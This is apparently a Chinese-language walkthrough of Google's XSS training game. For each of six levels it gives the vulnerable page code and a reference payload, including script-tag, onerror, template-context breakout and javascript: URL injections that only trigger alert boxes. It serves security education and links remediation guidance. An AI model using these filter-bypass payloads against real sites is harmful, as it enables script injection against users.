標籤:

xss-game遊戲挑戰賽系列一

xss-game.appspot.com

跨站點腳本(XSS)bug是Web應用程序中最常見、最危險的漏洞類型之一。這些討厭的bug可以讓你的敵人在你的應用程序中竊取或修改用戶數據,你必須學會很快處理它們 !

google公司 非常清楚這些漏洞可能產生的影響。實際上,google對於發現和修復XSS問題是不遺餘力。如果你在goole核心產品中發現危險的XSS漏洞支付多到$7500美金。

在xss-game聯繫靶機項目中,你可以學習發現和探索XSS bug。您可以學習並使用這些來迷惑並抵擋主你的對手的攻擊,防止這些漏洞發生在您的應用中。

Xss-game總共包含6個Level的題目, 每個Level需要你在頁面中注入xss代碼 彈出一個格 JavaScript alert()對話框之後,才能進入下一個level的題目。

. level1 : Hello, world of XSS

Level1非常簡單,是產生xss漏洞最為常見的原因,用戶的輸入未經任何轉義直接包含顯示在頁面中。

<script>alert()</script>

也可以使用反斜號繞過,遇到「()」被屏蔽時可以使用這種方式。${String}這是ES6新增的模板字元串方法新特性。

<script>alert``</script>

. level2 : Persistence is Key

Web應用程序通常將用戶數據保存在伺服器端,並且越來越多地將客戶端資料庫放在客戶端資料庫中,然後將其顯示給用戶。無論用戶可以控制的數據來自哪裡,都應該謹慎處理。這個級別顯示了在複雜的應用程序中可以很容易地引入XSS bug。Level2是一個利用存儲型XSS漏洞的題目, <script></script>標籤都被過濾不能生效, 使用其他標籤就可以繞過了。參考payload:

<img src=N onerror=alert(document.domain)>

. level3 : That sinking feeling...

正如您在Level2看到的,一些常見的JS函數是執行接收器,這意味著它們將導致瀏覽器執行出現在其輸入中的任何腳本。 有時候,這個事實是被更高層次在後台運行的底層API所使用。

客戶端從URL讀取location.hash未進行安全過濾轉義, html += "<img src=/static/level3/cloud" + num + ".jpg />";,在JS上下文語義中未對變數num進行正確轉義,閉合簽名的<img>標籤即可

<!doctype html>

<html>

<head> <!-- Internal game scripts/styles, mostly boring stuff --> <script src="/static/game-frame.js"></script> <link rel="stylesheet" href="/static/game-frame-styles.css" /> <!-- Load jQuery --> <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"> </script> <script> function chooseTab(num) { // Dynamically load the appropriate image. var html = "Image " + parseInt(num) + "<br>"; html += "<img src=/static/level3/cloud" + num + ".jpg />"; $(#tabContent).html(html); window.location.hash = num; // Select the current tab var tabs = document.querySelectorAll(.tab); for (var i = 0; i < tabs.length; i++) { if (tabs[i].id == "tab" + parseInt(num)) { tabs[i].className = "tab active"; } else { tabs[i].className = "tab"; } } // Tell parent weve changed the tab top.postMessage(self.location.toString(), "*"); } window.onload = function() { chooseTab(unescape(self.location.hash.substr(1)) || "1"); } // Extra code so that we can communicate with the parent page window.addEventListener("message", function(event){ if (event.source == parent) { chooseTab(unescape(self.location.hash.substr(1))); } }, false); </script> </head> <body id="level3"> <div id="header"> <img id="logo" src="/static/logos/level3.png"> <span>Take a tour of our cloud data center.</a> </div> <div class="tab" id="tab1" onclick="chooseTab(1)">Image 1</div> <div class="tab" id="tab2" onclick="chooseTab(2)">Image 2</div> <div class="tab" id="tab3" onclick="chooseTab(3)">Image 3</div> <div id="tabContent"> </div> </body></html>

參考payload:

/><sCript>alert();</scrIpt>

Level3是一個DOM類型的XSS漏洞。Dom-Based XSS與反射型、存儲型XSS不同的是,它是在瀏覽器解析DOM過程中發生的漏洞,惡意JS代碼發生在客戶端,並不會在伺服器端返迴響應頁面源碼直接顯示。

. level4 : Context matters 必須正確轉義用戶提供的每一位數據,以便其出現的頁面上下文。Level4說明了原因。 xss-game.appspot.com/le 輸入框輸入時間,表單提交至另一個頁面,頁面上有一個定時器任務,後台功能是用Python開發的。思路與第三題差不多,查看頁面源碼

<!doctype html> <html> <head> <!-- Internal game scripts/styles, mostly boring stuff --> <script src="/static/game-frame.js"></script> <link rel="stylesheet" href="/static/game-frame-styles.css" /> <script> function startTimer(seconds) { seconds = parseInt(seconds) || 3; setTimeout(function() { window.confirm("Time is up!"); window.history.back(); }, seconds * 1000); } </script> </head> <body id="level4"> <img src="/static/logos/level4.png" /> <br> <img src="/static/loading.gif" onload="startTimer({{ timer }});" /> <br> <div id="message">Your timer will execute in {{ timer }} seconds.</div> </body> </html>

參考payload:

}});alert();//

. level5 : Context matters

XSS不僅僅只是正確地轉義數據。有時,攻擊者即使不向DOM注入新元素,攻擊者也會做壞事。

javascript:alert(1)

. level6: Follow the

google.com/jsapi? 重點是前面的空格

題目完成之後,google給出一份如何解決XSS問題的解題文檔:

xss-game.appspot.com/do

google.com/about/appsec

freebuf上有最新版挑戰賽的解題報告,題目地址不過沒有找到:

freebuf.com/articles/we


推薦閱讀:

XSS漏洞原理分析
XSS技術入門專題—第三期技術專題
如何評價 XSS 在黑客攻防中的地位或重要性?
Content Security Policy (CSP) 是什麼?為什麼它能抵禦 XSS 攻擊?

TAG:XSS |